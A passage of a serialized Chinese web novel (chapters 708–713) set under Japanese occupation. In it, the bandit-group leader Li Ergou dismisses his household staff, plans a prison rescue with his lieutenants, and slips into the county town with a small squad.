人群里有人率先开口,带着满心疑惑和焦急。 “李管家,到底出了什么大事?到底是什么人要寻仇?你跟我们说实话!” “是啊,李管家,有难处你别自己扛!我们都是院里的人,吃大院的饭、住大院的地,天大的祸事,大家伙一起扛!” “对!我们一起扛!绝不让你一个人顶着!” 众人再度齐声附和,声音铿锵,心意决然。 看着众人生死相随的模样,李二狗心里不禁有些动容,却依旧没有松口。 他做事向来通透,有自己的底线和格局。 他执掌胡家大院,享众人拥戴、受众人追随,危难之时,便绝不会让无辜之人替自己挡祸、替自己送死。 这是他的用人之道,也是他立足乱世的根本。 他抬起手压了压,示意众人安静,语气带着几分愧疚和郑重。 “大家都冷静一点。这事不怪任何人,只怪我李二狗在外闯荡,得罪了仇家,惹下了恩怨。是我个人的祸事,与你们所有人无关。” “大家请放心,我闯荡江湖这么多年,什么风浪都见过。这点事我自己能摆平,我唯一怕的,就是连累你们无辜受累。还请大家体谅我一次,给我一点时间,我必定把所有事情处理妥当,还给大家一个安稳太平的胡家大院。” 话音落下,人群寂静无声。 第708章 遣散众人 所有人都听懂了李二狗的苦心,听懂了他宁愿自己孤身扛下所有祸事,也不愿拖累旁人的担当。 就在这时,人群末尾,一个侍奉大院多年的小丫鬟红着眼眶,鼓足勇气开口说道:“李管家,我不怕连累!我就想留在大院里陪着您,您就让我留下吧!” 这一句话,让李二狗心头微微一震。 他抬眼看向这个丫鬟,看着她熟悉的面孔,瞬间幡然醒悟,意识到自己昨夜思虑不周,忽略了最关键的事情。 大院里不少丫鬟,都是年少被卖进府,无父无母、无家可归。 胡家大院是他们这辈子唯一的安身之处。 一旦离开这里,外头乱世动荡,兵荒马乱,他们无亲无故,出去根本没有落脚之地,只能流落街头,最终落得颠沛流离的下场。 自己一刀切地安排所有人疏散,看似周全稳妥,实则委屈了这些无家可归的苦命人。 想到这里,李二狗不再固执,顺势调整了安排,尽显他待人周全的驭人格局。 他抬步踏上大堂台阶,身姿挺拔,目光扫过全场,声音郑重通透,当着所有人的面重新发话。 “我现在把话重新说清楚,所有人都听仔细喽。” “但凡无家可归、无处投奔,离开大院就没有容身之处的兄弟姊妹,全部可以留下,我李二狗保你们周全,大院永远是你们的家。” 人群中发出一阵欢呼,李二狗手势一压,又立马安静下来。 “但凡家里有亲人有落脚地,能安稳躲避风头的,我依旧劝大家暂时离开。不是我不信大家的情义,只是眼下局势凶险,你们留在院里,我心里始终牵挂众人安危,难免分神分心。” “我需要一心一意地处理外头的祸事,不能有半点牵绊顾虑。大家若是真心为我好,就请体谅我的难处,我李二狗谢谢大家,给大家鞠躬了。” 众人被李二狗感动的涕泪横流。 “李管家,您千万别这么说,我知道您是为了我们大家伙好。” “我们都听您的安排。” …… 李二狗继续说道:“你们尽管放心,今天离开的所有人,无论什么时候,只要风波平息,胡家大院永远留有你们的位置。” 这番话,公私分明、情理兼顾,既成全了无家之人的活路,也体谅了有家之人的退路,没有半分强迫,没有半分偏颇。 这就是李二狗的高明之道。 不靠强权压人,不靠情义绑人,凡事换位思考、体恤人心,赏罚分明、进退有度,让跟着他的人安心,让离去的人感念。 众人听完,心里彻底通透。 有了他亲口许下的承诺,再加上离开的人可以领取十块大洋的安家路费,乱世里头,十块大洋足以支撑一家人安稳度日许久。 众人彼此对视一眼,低声议论几句,心里都悄悄做好了决定。 没人再哭闹强求留下,也没人心生怨怼。 张二驴见众人情绪彻底平复,已然接受安排,当即上前一步,高声喊话安排道:“既然大家都明白了,那就各自去账房登记姓名,领取安家大洋。领完钱回去收拾行李,有序离开大院。” 众人闻言,纷纷应声散去,各自往账房方向走去,没有半点混乱吵闹。 待人潮散尽,大院大堂前恢复空旷安静,李二狗转头看向身旁的张二驴,沉声问道:“护院的那帮兄弟,可有想要离开的?” 张二驴眼神坚定,毫不犹豫地回话道:“狗哥,一个都没有!所有护院家丁,全员表态,誓死留守大院,愿意跟胡家大院共进退,没有一人临阵退缩!” 听闻此话,李二狗脸上露出一抹赞许之色,眼底满是认可。 护院队伍是胡家大院最后的屏障,人心稳固、众志成城,皆是张二驴平日里悉心管束、用心带教的功劳。 他拍了拍张二驴的肩膀,语气诚恳地赞道:“很好,你平日里带兵严谨,把这帮兄弟带得很好,我给你记上一功。” “嘿嘿,都是狗哥平时教导的好,我只是遵照你的指示做罢了。” 李二狗拍了拍张二驴的肩膀,他确实成长了许多。 “你现在立刻把所有留守护院的兄弟集结整队,做好万全防备,随时听候调遣。” 张二驴挺胸应声,眼神赤诚坚定。 “狗哥请放心!兄弟们时刻准备着,绝不会关键时刻掉链子!” 李二狗看着忠心耿耿的手下,心里自有盘算。 他心里清楚,此次进城劫狱救人,凶险万分,九死一生。 他压根不打算动用民团和护院兄弟的力量。 这帮兄弟是守院护家的根基,是保全大院老小安稳的底气,不能跟着自己去冒这种灭顶的风险。 今日集结待命,不过是他预留的一步后手。 万一自己进城救人失利,身陷险境,或是惊动日军引来围剿,张二驴带着一众兄弟可以退守清风山,还能保全所有人的性命,不至于全军覆没。 凡事留一线,遇事有退路,这是他乱世立足的沉稳章法。 稍作沉吟,他转头问张二驴道:“秀才他们都通知到了吗?” “他们都就到了,一直在你家里等你的。”张二驴立刻回话道。 “好。”李二狗微微颔首,神色变得凝重起来,“这几日,胡家大院就交给你了,我不在的这段时间,凡事切勿冲动生事。” 他盯着张二驴的眼睛,郑重托付道:“万一我出事,你立刻带着院里所有人,全部去清风山,保全众人性命为第一要务,伺机再谋后事。” 这番话,近乎临终托付,字字沉重。 张二驴听得眼眶发红,心头大急,当即上前一步,恳切请命道:“狗哥!让我跟着你一起进城吧!好歹能给你搭个帮手!你别一个人去冒险!” 李二狗轻轻地摇了摇头,语气十分笃定。 “二驴,守住大院,保护好众人,就是你最大的功劳,也是帮我最大的忙。守好后方,比跟着我冒险更重要。” 说完,他不再多言,深深看了一眼偌大的胡家大院,转身快步离开大堂,往自己的家中走去。 第709章 集思广益 李二狗家中的院子里,秀才、陈老三和孙连胜三人早已静静等候多时。 三人神色各异,却都满心凝重。 李二狗此番特意召集三人,目的十分明确。 秀才心思缜密,擅长谋划,陈老三勇猛善战,敢打敢冲,孙连胜手握特别行动队,适合小范围的突袭。 他今日要动用特别行动队的力量,谋划劫狱救人的大事。 孙连胜是第一次单独来到李二狗的私宅,站在院中,心中难掩激动与振奋。 前段日子,李二狗被迫离开清风集团,让不少人误以为他放下了手中所有的势力。 可孙连胜心里一直存有疑虑,总觉得以李二狗的能耐和本事,绝不会甘于碌碌度日。 今日被秘密召集而来,他彻底印证了自己的猜想。 早前的隐退退让,从头到尾都是掩人耳目的障眼法。 李二狗从未放弃清风集团,也从未放弃跟他出生入死的兄弟,更没有放弃手中的权力,一直在暗中蓄力谋事。 看着缓步走来的李二狗,孙连胜眼底满是敬佩。 李二狗一眼看穿他心中所思,开口便问道:“孙队长,心里是不是攒了一肚子疑问?” 孙连胜挠了挠头,憨厚一笑,语气里充满了笃定。 “我就知道,狗哥从来舍不得丢下我们这帮兄弟,早晚还会带着我们干大事!” 一旁的秀才,则面色肃穆,沉默不语。 他跟随李二狗这么久,最懂他的心思。 今天清晨天未亮,李二狗便安排人把李素文等人送到清风山,这般不寻常的安排,必然是要干一件九死一生的大事。 他沉不住气,率先开口试探道:“狗哥,你已经下定决心了吗?” 李二狗微微点了点头,眼底闪过一丝赞许。 知我所想、懂我决断,纵观一众兄弟,终究还是秀才最懂自己。 一旁的陈老三听得云里雾里,满脸茫然,挠着头插话道:“下定决心?下定决心干啥啊?你们俩打什么哑谜呢?” 秀才和李二狗对视一眼,皆是无声浅笑。 陈老三性子耿直勇猛,冲锋陷阵是一把好手,唯独心思比较简单,看不破层层布局。 他见两人不回话,愈发着急,往前凑了两步,急急追问道:“狗哥,你就别卖关子了!我猜着了,你是不是要进城劫狱,去救三奶奶?” 李二狗看着他急躁耿直的模样,无奈地摇了摇头,嘴上却带着几分笑意:“我还以为你脑子里全是浆糊,没想到还算有点脑子。行了,都坐下,咱们好好商议商议,谋划一个救人的法子。” 几人纷纷落座,围坐一处。 李二狗没有半点隐瞒,将宋小曼被捕入狱、关押在日军宪兵队大牢、受尽酷刑却死守秘密、绝不牵连众人的实情,一五一十告知三人。 同时他又把大牢防守严密、日军手段狠辣、形势万分凶险的实情,尽数讲明,让所有人心里都清楚此事的难度和风险。 讲完所有情况,他目光环视三人,沉声开口道:“情况就是这样。你们三人,有什么看法,都说一说,有什么稳妥的法子,尽管提出来。” 话音刚落,性子最急的陈老三率先开口,语气直白莽撞:“这还能有啥法子?最简单不过了!直接点齐人手,带兵攻打县城,硬闯大牢,把嫂子救出来就完事了!” 这话脱口而出,粗莽直白,全然不计后果。 李二狗当即眉头一沉,厉声呵斥道:“什么嫂子?满口胡言!再敢胡乱编排闲话,我直接撕烂你的嘴!” 陈老三被他一声呵斥,瞬间怂了,立马捂住嘴巴,嘿嘿讪笑两声,不敢再多嘴乱言。 随后李二狗看向一旁沉默的孙连胜:“连胜,你说说你的看法。” 孙连胜作为特别行动队的队长,近期专门研究过日军的作战部署和用兵习惯,对周边日本的布防也做过一定的研究,心思比陈老三沉稳许多。 他虽然不清楚宋小曼和李二狗的深层关系,却也明白,能让李二狗不惜性命去劫狱的人,绝对非同一般。 他谨慎地说道:“狗哥,我觉得三哥的法子行不通,直接带兵强攻县城、硬闯宪兵队大牢,太过于凶险,胜算太低。” 这话瞬间惹恼了急性子的陈老三。 他当即瞪眼反驳道:“老孙!你狗日的就是胆子太小!区区几个日本鬼子,有什么好怕的?这点凶险都不敢担,你还算什么爷们?干脆回家抱孩子吧。” 孙连胜连忙摆手解释道:“三哥,我不是怕,我是觉得……” 不等他把话说完,陈老三便粗暴地打断道:“不是怕是什么?不强攻进城,难不成你还想让日本鬼子乖乖放人吗?天底下哪有这么便宜的好事!” 孙连胜嘴笨,不擅长争辩辩驳,被陈老三一顿抢白,当场哑口无言,满脸窘迫,说不出一句完整的话。 院中气氛一时僵持下来。 李二狗静静看着两人争辩,神色淡然,心里通透分明。 他心里有数,陈老三是天生猛将,适合沙场冲锋、正面厮杀,不适合运筹谋划;孙连胜擅长小队突袭、隐秘行动,却不善大局决断。 遇事不决问秀才,这是他多年用人的心得。 不同的人,有不同的长处短板,用人当扬长避短、各司其职,绝不强人所难。 他转头看向一直沉默思索的秀才:“秀才,你怎么看?” 秀才思索良久,缓缓开口道:“狗哥,依我之见,此事只能智取,万万不能强攻。” “具体说说。” “咱们手下人手虽多,但大多是农民出身,日常看家护院还可以,论单兵作战素养和攻坚本事,远远比不上那些训练有素的日本鬼子。而且我们缺乏攻坚的重武器,那么厚的城墙,我们根本攻不进去啊。” “即使我们攻进了县城,日军宪兵队大牢是日军重兵防守的地方,岗哨密布森严,若贸然强攻,无异于以卵击石,只会白白折损兄弟性命,最后救人不成,反把所有人都搭进去。” 这番分析条理清晰、句句在理,戳中了整件事的要害。 第710章 李二狗的决断 耿直的陈老三心里始终憋着一股劲,他嘴上半点都不服软,当着众人的面直接开口反驳秀才。 “秀才!你怎么也跟着说这种丧气话?” 陈老三的性子就是这样直来直去,心里根本藏不住事,想到什么就说什么,半点弯弯绕都没有。 “咱们不攻打县城,不冲进县城,还能怎么救人?那些日本鬼子又不是什么善人,他们心硬手黑,不可能平白无故地把人放出来。难不成我们就这么干看着,眼睁睁瞧着三奶奶在宪兵队大牢里受罪受刑,最后送了性命?这事我陈老三做不出来!” 秀才被他这么一顿抢白,也是有些急了,连忙开口辩解道:“三哥,你误会我的意思了。我是说不能硬打县城,不是说不救人。强攻是死路一条,不代表咱们没有别的路子。” 陈老三压根听不进去,瞪着眼追问道:“不打县城,你倒是说个法子出来救人?光说不能打,又不说怎么救,空话谁都会说。” 秀才被他逼得没办法,也来了脾气,出声顶道:“不打县城就一定救不了人吗?天底下做事,从来不止硬拼硬打这一条路。” 陈老三依旧不依不饶,步步追问,半点不肯退让。 “那好,那你把路子说出来,怎么救?只要你说得通,我立马闭嘴,听你的安排。” 这话说出来,秀才瞬间就卡了壳。 他脑子清醒,知道强攻不可取,可短时间之内,他也确实琢磨不出一个稳妥的救人法子。 他眉头拧了半天,只能支支吾吾的说道:“这……这我眼下还没想好具体路子,但总归硬闯是不行的。” 两人就这么你来我往,争个不停,一个只认死理想硬打,一个明知不可强攻却拿不出对策,谁也说服不了谁。 一旁的孙连胜自知资历不够,也插不上话,只能安安静静待在边上,看着两人争辩。 自始至终,李二狗就坐在原地,安安静静地听着,没有插话,没有制止,也没有半点反驳的意思。 两人心里的着急、顾虑和担忧,还有各自的短板和长处,他都一一看在眼里,记在心里。 他太了解手下这几个人了。 陈老三勇猛不怕死,遇事敢冲敢拼,忠心没得说,就是性子太直,不懂迂回谋划,凡事只认硬拼,看不到背后的凶险。 秀才心思细、看得远,能顾全大局,稳得住局面,知道取舍利弊,却不擅长落地破局,临时拿不出实操的法子。 孙连胜做事稳、执行力强,能带特别行动队做隐秘差事,却不适合拿大主意、定大决断。 每个人都有长处,也都有短处。 这也是他为什么要把几个人一起叫来商议的原因。 其实早在孙竹刚告诉他,宋小曼被关在日军宪兵队大牢的那一刻,他心里就已经慢慢盘算出了一套完整的救人路子。 从监狱布防、日军习性、换岗时间,再到入城藏身、伺机动手、事后脱身,他在心里一遍一遍推演,早已捋得清清楚楚。 他今天召集众人过来,不是自己没主意、需要靠着大家拿办法。 纯粹是他常年做事的规矩,也是他的用人法子。 手里带着一帮兄弟,执掌着偌大的摊子,从来不能独断专行。 越是大事、险事、要命的事,越要摆出来让大家说话,让每个人都能吐出自己的想法和顾虑。 一来可以集思广益,查漏补缺,看看自己的计划有没有疏漏的地方,能不能做得更稳妥。 二来也是尊重手下每一个人。 跟着他的兄弟,不是听话的工具,都是一条条活生生的性命,都忠心待他,遇事肯为他出头、为他拼命。 他不能凡事自己一拍脑袋就定,半点不让旁人掺和。 大事与众商议,决断独握于心。 听得进底下人的意见,包容每个人的短处,用好每个人的长处,最后关键关头,自己再进行决断。 这么多年,他能稳稳地压住清风集团这帮性子各异、个个傲气的猛将,让所有人真心服气、死心追随,靠的从来不是凶、不是狠,也不是威压,靠的就是这份格局。 有福先想着兄弟,有事先听兄弟说法,出事先自己扛责,从不委屈真心待他的人,也从不胡乱拿兄弟的性命去赌。 屋里的争执还在继续,李二狗心里已经彻底定了神,不再犹豫。 他抬了抬手,声音不高,却自带分量。 “好了,都别争了。” 就简单的几个字,屋里瞬间安静下来。 刚才还脸红脖子粗争辩的陈老三,还有满心无奈的秀才,全都立刻收了声,齐齐转头看向李二狗,端正身子,静静等着他发话。 这就是日积月累攒下的威望。 不用发火,不用训斥,只要他开口,所有人自然遵从。 李二狗目光缓缓扫过三人,语气平稳,把自己心里整套救人计划,从头到尾慢慢道了出来。 哪一步探查、哪一步潜伏、哪一步动手、谁负责外围接应、谁负责后路兜底、谁负责带人撤退,每一处细节、每一项分工,都安排得明明白白,条理清清楚楚。 没有半点模糊和疏漏。 三人安安静静地听着,越听越震惊,越听越沉默。 他们刚才还在为强攻还是智取争执不休,压根想不出两全的法子,没想到李二狗心里,早就有了这么一套周全、大胆、几乎步步掐死要害的计划。 整个屋子里一下子静得彻底,所有人听完安排,都低头沉默着,各自心里反复琢磨这套计划的凶险和精妙。 过了片刻,李二狗开口问道:“计划就是这样。你们几个,还有没有别的意见?没有的话,就各自回去准备,按分工分头行动。” 几人互相看了看,没人说话。 他们心里全都有数,这套计划,已经是眼下最稳妥最可行的路子。 既避开了硬攻县城的全军覆没之险,又抓住了日军防守的漏洞,唯一的问题就是,核心环节太过凶险,稍有不慎,就是掉脑袋的事。 第711章 天助我也 秀才微不可察地看了一眼陈老三,他显然还没有发现这个计划中的关键点。 秀才抢先开口,语气中带着恳切:“狗哥,你的这个计划我举双手赞成,我也看出来县城里面的任务是最凶险的,决定不能你亲自去。还是换我来吧,你得坐镇指挥啊。” 话音刚落,急性子的陈老三才反应过来,他立刻往前一步,抢着开口道:“不行!秀才,你小子不擅长打仗!这种事还是适合我!狗哥,你坐镇后方指挥就行,城里的活交给我,我陈老三不怕死!” 两人都抢着承担最危险的任务,都想替李二狗分摊风险,不想让他涉险。 李二狗看着他们争先恐后护着自己的样子,心里微微一暖。 他亲手带出来的兄弟,每个人对自己都是真心的。 危难之时,没有人想着自保,都想着替他扛事,替他承担风险,有这样的兄弟,他感到很欣慰。 但他心里早就拿定了主意,于是他淡淡地笑了笑,摇了摇头。 他心里清楚,整个救人计划中最关键、最不能出半点差错的环节,必须由他自己亲自去做。 底下的兄弟可以替他打仗,唯独这种赌命的事情,他不能甩给兄弟们。 他是这群人的老大,是所有人的主心骨。 当老大的,平日里享着众人的敬重、受着众人的追随,拿着最大的局面,得了最多的好处。 真到了要命、凶险、见血的关头,若是自己缩在后面,让手底下的这些兄弟们去替自己送死,那他还算什么老大? 做人做事,得讲公道,讲良心。 当老大的,不能只占便宜,不扛风险。 有难处,当大哥的必须先上;有凶险,当大哥的必须先顶;有过错,当大哥的必须先担。 这是他一直以来的规矩,也是能让所有兄弟死心塌地跟着他的根本原因。 “你们都不用争了。”李二狗语气平静,却带着不容更改的笃定,“时间已经来不及了,都别再争了,你们按照各自的任务分工,都抓紧时间回去好好准备,严格按照救人计划来执行,决不允许出现任何差池。” 几个人心里都清楚李二狗的脾气,他平日里容人说话,可一旦自己真正拿定了主意,任凭谁劝都没有用,就是十头牛八匹马都拉不回来。 众人知道再争也是白费口舌,只能压下心里的担忧,纷纷点头应声,转身离开了院子,各自回去筹备差事。 所有人都走了之后,院子里彻底安静下来。 李二狗不敢再耽误时间,救人不等人,牢里多拖一天,宋小曼就多受一天罪,局势也会多一分变数。 他简单整理了一下行装,马不停蹄地直奔江东县城。 来到县政府,孙竹刚正在办公室等他。 “大哥,怎么样?” 孙竹刚神色凝重地走向前,拉着李二狗坐下,郑重地问道:“二狗,你真的下定决心了吗?开弓没有回头箭,迈出这一步到时候想后悔可都来不及了!” 李二狗没有丝毫犹豫,他不可能不救宋小曼。 “大哥,我已经决定了,绝不后悔。” 孙竹刚虽然已经确定李二狗肯定不会退缩,但现在听了李二狗的话,还是有些失望。 他真的不希望李二狗如此冒险,因为事情一旦败露,自己肯定会受连累! 孙竹刚心里甚至偷偷想过向日本人举报李二狗,这样不仅可以保全自己,还可以得到日本人的嘉奖。 可想到清风集团有上千号土匪,他们肯定会为李二狗报仇,自己即使躲得过初一,躲不过十五! 更何况两人是结义兄弟,孙竹刚还得指望李二狗的扶持才能在江东站稳脚跟。 其实孙竹刚和李二狗一样,他已经没得选,只能选择和李二狗同舟共济! “二狗,这是日军宪兵队大牢的地形图,以前是县保安团的监狱,日本人接手之后基本没有大的改动,这是大牢岗哨的人员部署及他们换岗的时间。” 李二狗接过地形图和部署图,铺在茶几上仔细看了起来。 “好,好,哈哈,实在是太好了!真是天助我也!” 李二狗边看边忍不住发出一阵称赞声,听得孙竹刚云里雾里的。 “怎么了,二狗?好什么?” 李二狗这才收起笑声,一字一句地说道:“大哥,你放心吧,我一定可以成功把人救出来。” 孙竹刚不知道李二狗缘何这么自信,日本人岂是那么好对付的? “二狗,你还是谨慎一些比较好,日本人可不善茬,还需要我帮你做什么吗?” 孙竹刚目前虽然是江东县的县长,但新成立的江东县皇协军保安团由日本人亲自指挥,他能调动的也就是警察局那百十来人的警察,而且都是一些吃喝嫖赌的废物,对李二狗救人的影响几乎可以忽略不计。 “大哥,有一件事我确实需要你帮忙。” 孙竹刚只是和李二狗客套一下,没想到李二狗还真不客气。 “兄弟,你尽管说,只要大哥能帮的一定帮。” “到时候我把人救出来之后,如果不能及时把她送出城,能不能在你家躲一躲?在江东县城,只有你家是最安全的。” 这只是李二狗留得一个后手,他有信心把人救出来并及时送出城。 孙竹刚听后脸色微微一变,把一个越狱的女共党藏在自己家中,一旦被日本人发现,自己将死无葬身之地! 孙竹刚已经上了李二狗的贼船,此情此景之下,他只能答应。 “好,不过你也知道,我虽然是县长,但日本人一直对我不信任,其实我家也是不安全的,你能把人送出城还是尽量送出城,以免夜长梦多啊!” 李二狗微微一笑,孙竹刚那点小心思他怎能不知。 “放心吧,大哥,我心里有数,那我现在去准备了。” 孙竹刚很想问一问李二狗到底是什么计划,但李二狗没说,孙竹刚只能压下心中的好奇。 李二狗离开县城,来到郊外一个破旧的土地庙。 第712章 绝对忠诚 天色已经彻底黯淡下来,县城郊外的山野里四下静得吓人,晚风刮过荒草,发出沙沙的轻响,四下无人走动,更没有灯火人影。 李二狗孤身待在郊外的小土地庙里,庙里破旧冷清,落满了尘土,平日里极少有人前来祭拜,正好隐蔽藏身,不惹旁人注意。 他从怀里小心翼翼地掏出一张折叠整齐的图纸,铺在冰凉的地面上。 这是孙竹刚费了大力气得到的日军宪兵队大牢地形图和部署图。 图纸不算精致,却画得足够细致,大牢里的布局、岗哨的位置、守卫的路线,甚至围墙的死角都标记得清清楚楚。 李二狗蹲在地上,借着微弱的月光,一遍又一遍地细细打量着。 别人看图纸,也许只看大概布局和进出路径。 但他和别人不一样,他做事向来谨慎,凡事不求快但求稳。 别人一旦定下计划,便想着直接动手,可他偏偏更在意梳理计划的细枝末节。 图纸上看着稳妥的路线、安全的死角,未必和现场一模一样。 日本人的岗哨会不会临时调整? 换岗的时间会不会有变动? 这些图纸上体现不出来的细节,全得靠自己亲自提前做好预案,即使不能亲自到现场去验证,也得做好预案,以备不时之需。 救人是玩命的大事,半点差错都能满盘皆输。 他心里清楚,自己这个救人的计划,看似周密,其实步步走的都是险棋。 但凡有一处预判失误,不光救不出宋小曼,他带来的所有人,包括他自己,都得把命搭在里面。 所以他一遍遍复盘图纸上的每一处点位,心里反复推演进出、潜伏、动手、撤退的每一个步骤。 有几处关键的位置,他心里拿不准,必须等到自己亲自去现场勘察确认,才能彻底放心。 他收起图纸,揣回贴身的怀里,静静地坐在庙里等候。 夜色越来越沉,郊外的风声越来越大,不知等了多久,庙外终于传来一阵轻微的脚步声。 脚步声轻重均匀,一听就是受过特殊训练的人。 李二狗瞬间警惕起来。 他屏住呼吸,身子贴紧墙壁,静静地倾听着外头的动静。 深更半夜,荒郊野外最容易出事,但凡有一点大意,就有可能暴露行踪。 片刻之后,庙门外传来三声低沉轻柔的鸟叫。 “咕、咕、咕。” 不多不少,正好三声,这是他和孙连胜提前约定好的接头暗号。 李二狗也对着门外回了三声一模一样的鸟叫。 三声叫声落下,庙门被人轻轻推开一条缝隙,一道黑影弯腰快步走了进来,动作利落,全程没有发出半点多余声响。 正是孙连胜。 “狗哥,我来了。” 李二狗这才直起身子,低声问道:“人都带过来了吗?” 孙连胜低声回答道:“都来齐了,二十个人,全部都在庙外山林隐蔽处潜伏待命。” 李二狗微微点头,眼底带着一丝赞许。 他心思缜密,尤其这种掉脑袋的事,必须谨慎再谨慎。 当初他被清风集团寨务会逐出集团,当众辞去董事长职务,装作彻底退出集团的样子,其实从头到尾都是一场做给外日本人看的戏。 只有他自己清楚,他从来没有离开过清风集团,也从来没有放下手里的权力。 越是身在暗处,越方便布局做事。 正因为自己如今身份敏感,此番动用特别行动队进城救人,风险极大,一旦泄露,不光所有人没命,整个清风集团都会被牵连。 所以他早前交代孙连胜选人时,特意再三叮嘱,一定要挑绝对忠诚可靠的队员。 宁缺毋滥,但凡有半点不可靠,一律不用。 他看着孙连胜,再次确认道:“你带来的这批人,都仔细审查过了吗?” 孙连胜眼神坚定,没有半分犹豫,当即拍着胸脯保证道:“狗哥,你尽管放心,每个人我都挨个核对过底细,来的人都是身家清白、忠诚可靠之人,绝对不会泄密。出了任何问题,我拿自己脑袋担保。” 有他这句保证,李二狗心里最后一点顾虑彻底放下。 用人不疑,疑人不用。 既然交给孙连胜选人,就要信他的眼光。 “那就好。”李二狗点了点头,“走,出去见兄弟们。” 两人一前一后,轻步走出破旧土地庙。 走出庙门,夜色沉沉,山林漆黑一片,看不到半点人影,却能隐约感受到暗处蛰伏的气息。 清风集团的特别行动队,本就是从集团千挑万选出来的精锐。 建队之初,李二狗定的第一条规矩,不是英勇善战、武艺高强,而是绝对忠诚、绝对服从。 身手可以慢慢练,胆量可以慢慢养,唯独忠诚可靠才是最根本的底子。 底子不正,本事再大,也是祸根。 这也是他的用人之道。 乱世之中选人,一定要先看品行,再论本事。 宁要忠诚可靠的普通人,不要心性不稳的能人。 暗处潜伏的二十名队员,都是在特别行动队优中选优的精英,他们个个身手利落、纪律性极强。 其中有些老队员,以前都是亲眼见过李二狗的,今夜突然见到消失许久,已经被被赶出集团的的李二狗,所有人心里都是猛地一惊,眼底满是难以置信。 直到此刻他们才彻底明白,早前李二狗被逐出集团,从头到尾都是掩人耳目的障眼法。 他从来没有离开集团,也从来没有抛下他们。 众人心里又惊又敬,却没人出声,他们全部安安静静地伫立在暗处,等候指令。 孙连胜上前一步,目光严肃地扫过所有人。 “我最后再强调一遍纪律。今夜所有的事情,你们要全部烂在肚子里,任何人不许对外吐露半个字。一旦泄密,一律按寨规严惩,绝不姑息!大家都听明白了没有?” “听明白了!” 夜色之下,二十名队员齐声应答,声音整齐划一,听着不大,却字字铿锵,透着常年训练的过硬素质。 重申完纪律,孙连胜侧身退让,姿态恭敬地说道:“下面,请董事长训话。” 第713章 一切行动听指挥 李二狗缓步走到队伍前方,脸上带着平日里惯有的微笑,看着松弛温和,可身上自带的那种气场,却让人不由自主地心生敬畏。 他的威望,从来不是因为装腔作势,而是来自遇事沉稳、担事决绝。 他目光缓缓地扫过眼前那一张张年轻果毅的脸庞,声音不高,却充满了磁性的力量。 “大家都不用诧异,也不必多想,回去之后更不要向别人提起,我之前所做的一切都是为了咱们集团的长远发展。” 李二狗故意停顿了一下,留给大家一些消化吸收的时间。 “大家都是优中选优的人才,我今天特意召集大家过来,是有一件非常重要的事情需要你们去做,也顺便检验一下这些日子以来的训练成果。” 众人静静地听着,没人说话,更没人质疑。 跟着李二狗的人,早就习惯了听他决断。 他做事从来不会瞎折腾,今天动用特别行动队,必然是事关重大。 “待会儿进城,”李二狗语气变得严肃起来,“大家要一切行动听从指挥,决定不许擅自行动。进城之后,哪怕路上撞见日本鬼子,也绝对不许擅自开枪,一切听我的指令行事,大家听明白没有?” 所有人整齐利落地低声应答道:“听明白了!” 为了绝对保密,也避免有人提前泄露风声,李二狗没有透露半点具体任务。 这也是他的谋断和城府。 越是大事,越要层层保密。知道的人越少,就会越安全。 这次劫狱计划的任务部署,他会在动手之前再作安排。 这样既能稳住军心,又能杜绝一切泄密的风险。 “好,所有人跟我走,保持隐蔽。” 李二狗一声令下,率先迈步在前头带路。 夜色彻底笼罩在县城四郊,四下里没有一点动静。 李二狗对这片地界熟得不能再熟了,每一条小路、每一处死角、每一个隐蔽的角落,他都烂熟于心。 他常年往来县城,早就摸透了所有隐蔽进出的路子。 不多时,一行人悄然摸到县城城墙根下。 城墙高大厚重,上面日夜有日伪军巡逻把守,正门、侧门和城门楼全部部署了重兵。 但李二狗早有自己的路。 他带着众人走到城墙一处不起眼的死角,这里荒草丛生,常人根本不会多看一眼。 就是这里,有一处他早年偶然发现的隐秘洞口,常年被杂草掩盖,极为隐蔽。 有几次他进出县城,走的就是这个狗洞,根本无人察觉。 “大家都别出声,等会儿一个个钻进去。” 李二狗抬手扒开荒草,露出一个一米见方的土洞,刚好够人弯腰穿行。 他侧身退让了一下,用眼神示意了一下孙连胜,说道:“连胜,你先进。” 孙连胜没有半分迟疑,当即弯腰低头,利落地钻进洞内。 紧接着,二十名精锐队员依次跟进,人人动作娴熟,全程安静无声,没有一人发出响动。 整支队伍的素养,一眼就能看出深浅。 最后所有人全部进洞,轮到李二狗收尾。 他钻进洞口前,回头将扒开的杂草重新铺好,严严实实地盖住洞口,恢复原本荒芜的模样,根本看不出有半点被动过的痕迹。 滴水不漏,这就是李二狗做事的风格。 做完这一切,他才钻出洞口,顺利进入县城之内。 进城之后,城内安静极了,偶尔传来几声野狗夜猫的叫声。 “大家都跟紧我,放轻脚步,千万不要说话。” 李二狗在前面带路,专挑偏僻的小巷,刻意避开主干道。 一行人紧紧跟随着李二狗,脚步轻盈,悄无声息。 走了一段路,前方忽然传来一阵整齐的皮靴声。 李二狗当即抬手往后一压,低声示意:“快隐蔽!” 命令下达的瞬间,二十名队员几乎动作同步,齐齐侧身贴墙,瞬间消失在阴影里,动作迅速,没有半点慌乱拖沓。 李二狗抬眼望去,只见前方不远处有一队日军巡逻兵正缓缓走来,一共五个人,荷枪实弹,正在夜间例行巡查。 一旁的孙连胜眼神凌厉,手悄然后摸向身后,手里已经攥紧了一把锋利的匕首。 “狗哥,就五个日本鬼子,人数不多,要不我带几个人,悄悄宰了这帮狗日的?” 以他们这批精锐的身手,暗中突袭五名日本巡逻兵,的确不算难事,转瞬之间就能解决。 可李二狗脑子极为清醒,他瞬间便否决了这个念头。 他心里清楚,今夜大家摸进城里,目的是潜伏起来伺机劫狱救人。 若是贸然杀掉五名日本鬼子,必然会引起城内骚动。 夜里巡逻的士兵失联,日军立马会全城戒严,搜捕排查,到时候所有的潜伏布局可能都会暴露,救人计划直接泡汤。 只图一时痛快,毁掉全盘大局,这是最愚蠢的做法。 遇事不冲动,谋定而后动,顾全全盘大局,这是李二狗远超常人的谋断。 他快速地扫视四周,目光扫过身后不远处一条幽深僻静的胡同,当即下令道:“所有人立刻退到身后胡同里隐蔽,不许出声,快!” 孙连胜没有迟疑,立马回身低声道:“所有人跟我来!” 二十名队员紧随其后,悄无声息地躲进那条幽深的胡同里,须臾之间,整条巷子便已空空荡荡,看不到半点人影。 李二狗最后闪身入巷,靠在墙根上,静静地观察着外头的动静,眼底露出一丝欣喜。 自己亲自组建的特别行动队,组织纪律、战术素养和超强的执行力,果然没有白费。 片刻之后,五名日军巡逻兵踏着皮靴声,缓缓地从胡同口经过,他们目光扫过街巷,压根没有察觉胡同深处藏着一队精锐的人马。 他们慢悠悠地走远,彻底离开了这片区域。 